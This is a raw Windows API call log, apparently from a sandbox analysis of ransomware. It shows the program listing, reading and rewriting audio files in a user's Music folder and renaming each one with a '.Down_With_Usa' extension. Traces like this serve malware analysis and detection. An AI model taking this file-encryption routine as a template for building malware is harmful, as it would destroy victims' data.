[0121.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24a61340, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
[0121.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0121.119] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt.down_with_usa")) returned 1
[0121.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x38
[0121.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0121.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0121.121] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x4bd
[0121.121] ReadFile (in: hFile=0x3a8, lpBuffer=0x27c6818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27c6818*, lpNumberOfBytesRead=0x2ebe58*=0x4bd, lpOverlapped=0x0) returned 1
[0121.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x38
[0121.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0121.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0121.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x38
[0121.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0121.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0121.164] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.vbs"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24ad3760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1
[0121.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0121.164] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.vbs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.vbs.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.vbs.down_with_usa")) returned 1
[0121.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3", lpFilePart=0x0) returned 0x3b
[0121.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0121.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\q8nzx1xfbmcbpjsmguh.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0121.165] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1138b
[0121.166] ReadFile (in: hFile=0x3a8, lpBuffer=0x26ac980, nNumberOfBytesToRead=0x1138b, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26ac980*, lpNumberOfBytesRead=0x2ebe58*=0x1138b, lpOverlapped=0x0) returned 1
[0121.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3", lpFilePart=0x0) returned 0x3b
[0121.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0121.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\q8nzx1xfbmcbpjsmguh.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0121.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3", lpFilePart=0x0) returned 0x3b
[0121.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0121.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0121.208] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\q8nzx1xfbmcbpjsmguh.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119075a0, ftCreationTime.dwHighDateTime=0x1d5dcbc, ftLastAccessTime.dwLowDateTime=0x4f1c6670, ftLastAccessTime.dwHighDateTime=0x1d5da39, ftLastWriteTime.dwLowDateTime=0x24b45b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11390)) returned 1
[0121.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0121.209] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\q8nzx1xfbmcbpjsmguh.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Q8NZX1XfBMCBpJsmGuh.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\q8nzx1xfbmcbpjsmguh.mp3.down_with_usa")) returned 1
[0121.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0121.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", lpFilePart=0x0) returned 0x2f
[0121.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\", lpFilePart=0x0) returned 0x30
[0121.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.210] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.210] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4819b5b0, ftCreationTime.dwHighDateTime=0x1d5dc70, ftLastAccessTime.dwLowDateTime=0x6e8c5730, ftLastAccessTime.dwHighDateTime=0x1d5d8e1, ftLastWriteTime.dwLowDateTime=0x6e8c5730, ftLastWriteTime.dwHighDateTime=0x1d5d8e1, nFileSizeHigh=0x0, nFileSizeLow=0x4f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="AZfehyRRmRWAEjrn.mp3", cAlternateFileName="AZFEHY~1.MP3")) returned 1
[0121.210] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6336f410, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xf1a85ed0, ftLastAccessTime.dwHighDateTime=0x1d5e48e, ftLastWriteTime.dwLowDateTime=0xf1a85ed0, ftLastWriteTime.dwHighDateTime=0x1d5e48e, nFileSizeHigh=0x0, nFileSizeLow=0x780c, dwReserved0=0x0, dwReserved1=0x0, cFileName="b3TSJBCryaZJaDm58ryQ.mp3", cAlternateFileName="B3TSJB~1.MP3")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdbbf0, ftCreationTime.dwHighDateTime=0x1d5da85, ftLastAccessTime.dwLowDateTime=0xd6e10ea0, ftLastAccessTime.dwHighDateTime=0x1d5e2b1, ftLastWriteTime.dwLowDateTime=0xd6e10ea0, ftLastWriteTime.dwHighDateTime=0x1d5e2b1, nFileSizeHigh=0x0, nFileSizeLow=0x9fea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHuo23 0Llo6bus g.wav", cAlternateFileName="DHUO23~1.WAV")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b5d4ca0, ftCreationTime.dwHighDateTime=0x1d5d8ba, ftLastAccessTime.dwLowDateTime=0x6d5368e0, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6d5368e0, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="g7gU05J0FSu2PCI", cAlternateFileName="G7GU05~1")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5ee720, ftCreationTime.dwHighDateTime=0x1d5da57, ftLastAccessTime.dwLowDateTime=0x34a6e0a0, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x34a6e0a0, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0x18419, dwReserved0=0x0, dwReserved1=0x0, cFileName="jGvpHxH.m4a", cAlternateFileName="")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d6af90, ftCreationTime.dwHighDateTime=0x1d5e70a, ftLastAccessTime.dwLowDateTime=0xe595a790, ftLastAccessTime.dwHighDateTime=0x1d5e404, ftLastWriteTime.dwLowDateTime=0xe595a790, ftLastWriteTime.dwHighDateTime=0x1d5e404, nFileSizeHigh=0x0, nFileSizeLow=0xce11, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogTHG1Om5_11u8EfBm.mp3", cAlternateFileName="OGTHG1~1.MP3")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e69620, ftCreationTime.dwHighDateTime=0x1d5dbb2, ftLastAccessTime.dwLowDateTime=0xb389ee80, ftLastAccessTime.dwHighDateTime=0x1d5dc3b, ftLastWriteTime.dwLowDateTime=0xb389ee80, ftLastWriteTime.dwHighDateTime=0x1d5dc3b, nFileSizeHigh=0x0, nFileSizeLow=0x150e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="rytu5V_n7fIxHIu.m4a", cAlternateFileName="RYTU5V~1.M4A")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x125b4630, ftCreationTime.dwHighDateTime=0x1d5e771, ftLastAccessTime.dwLowDateTime=0xbe92eed0, ftLastAccessTime.dwHighDateTime=0x1d5def2, ftLastWriteTime.dwLowDateTime=0xbe92eed0, ftLastWriteTime.dwHighDateTime=0x1d5def2, nFileSizeHigh=0x0, nFileSizeLow=0x57c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="urMuXo_ Xj6O.m4a", cAlternateFileName="URMUXO~1.M4A")) returned 1
[0121.211] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0121.211] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0121.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0121.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0121.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa", lpFilePart=0x0) returned 0x2f
[0121.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\", lpFilePart=0x0) returned 0x30
[0121.212] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4819b5b0, ftCreationTime.dwHighDateTime=0x1d5dc70, ftLastAccessTime.dwLowDateTime=0x6e8c5730, ftLastAccessTime.dwHighDateTime=0x1d5d8e1, ftLastWriteTime.dwLowDateTime=0x6e8c5730, ftLastWriteTime.dwHighDateTime=0x1d5d8e1, nFileSizeHigh=0x0, nFileSizeLow=0x4f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="AZfehyRRmRWAEjrn.mp3", cAlternateFileName="AZFEHY~1.MP3")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6336f410, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xf1a85ed0, ftLastAccessTime.dwHighDateTime=0x1d5e48e, ftLastWriteTime.dwLowDateTime=0xf1a85ed0, ftLastWriteTime.dwHighDateTime=0x1d5e48e, nFileSizeHigh=0x0, nFileSizeLow=0x780c, dwReserved0=0x0, dwReserved1=0x0, cFileName="b3TSJBCryaZJaDm58ryQ.mp3", cAlternateFileName="B3TSJB~1.MP3")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdbbf0, ftCreationTime.dwHighDateTime=0x1d5da85, ftLastAccessTime.dwLowDateTime=0xd6e10ea0, ftLastAccessTime.dwHighDateTime=0x1d5e2b1, ftLastWriteTime.dwLowDateTime=0xd6e10ea0, ftLastWriteTime.dwHighDateTime=0x1d5e2b1, nFileSizeHigh=0x0, nFileSizeLow=0x9fea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHuo23 0Llo6bus g.wav", cAlternateFileName="DHUO23~1.WAV")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b5d4ca0, ftCreationTime.dwHighDateTime=0x1d5d8ba, ftLastAccessTime.dwLowDateTime=0x6d5368e0, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6d5368e0, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="g7gU05J0FSu2PCI", cAlternateFileName="G7GU05~1")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5ee720, ftCreationTime.dwHighDateTime=0x1d5da57, ftLastAccessTime.dwLowDateTime=0x34a6e0a0, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x34a6e0a0, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0x18419, dwReserved0=0x0, dwReserved1=0x0, cFileName="jGvpHxH.m4a", cAlternateFileName="")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d6af90, ftCreationTime.dwHighDateTime=0x1d5e70a, ftLastAccessTime.dwLowDateTime=0xe595a790, ftLastAccessTime.dwHighDateTime=0x1d5e404, ftLastWriteTime.dwLowDateTime=0xe595a790, ftLastWriteTime.dwHighDateTime=0x1d5e404, nFileSizeHigh=0x0, nFileSizeLow=0xce11, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogTHG1Om5_11u8EfBm.mp3", cAlternateFileName="OGTHG1~1.MP3")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e69620, ftCreationTime.dwHighDateTime=0x1d5dbb2, ftLastAccessTime.dwLowDateTime=0xb389ee80, ftLastAccessTime.dwHighDateTime=0x1d5dc3b, ftLastWriteTime.dwLowDateTime=0xb389ee80, ftLastWriteTime.dwHighDateTime=0x1d5dc3b, nFileSizeHigh=0x0, nFileSizeLow=0x150e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="rytu5V_n7fIxHIu.m4a", cAlternateFileName="RYTU5V~1.M4A")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x125b4630, ftCreationTime.dwHighDateTime=0x1d5e771, ftLastAccessTime.dwLowDateTime=0xbe92eed0, ftLastAccessTime.dwHighDateTime=0x1d5def2, ftLastWriteTime.dwLowDateTime=0xbe92eed0, ftLastWriteTime.dwHighDateTime=0x1d5def2, nFileSizeHigh=0x0, nFileSizeLow=0x57c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="urMuXo_ Xj6O.m4a", cAlternateFileName="URMUXO~1.M4A")) returned 1
[0121.212] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x125b4630, ftCreationTime.dwHighDateTime=0x1d5e771, ftLastAccessTime.dwLowDateTime=0xbe92eed0, ftLastAccessTime.dwHighDateTime=0x1d5def2, ftLastWriteTime.dwLowDateTime=0xbe92eed0, ftLastWriteTime.dwHighDateTime=0x1d5def2, nFileSizeHigh=0x0, nFileSizeLow=0x57c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="urMuXo_ Xj6O.m4a", cAlternateFileName="URMUXO~1.M4A")) returned 0
[0121.212] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0121.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0121.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3", lpFilePart=0x0) returned 0x44
[0121.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0121.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\AZfehyRRmRWAEjrn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\azfehyrrmrwaejrn.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0121.213] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x4f33
[0121.213] ReadFile (in: hFile=0x3a8, lpBuffer=0x27e0fa8, nNumberOfBytesToRead=0x4f33, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27e0fa8*, lpNumberOfBytesRead=0x2eb8d8*=0x4f33, lpOverlapped=0x0) returned 1
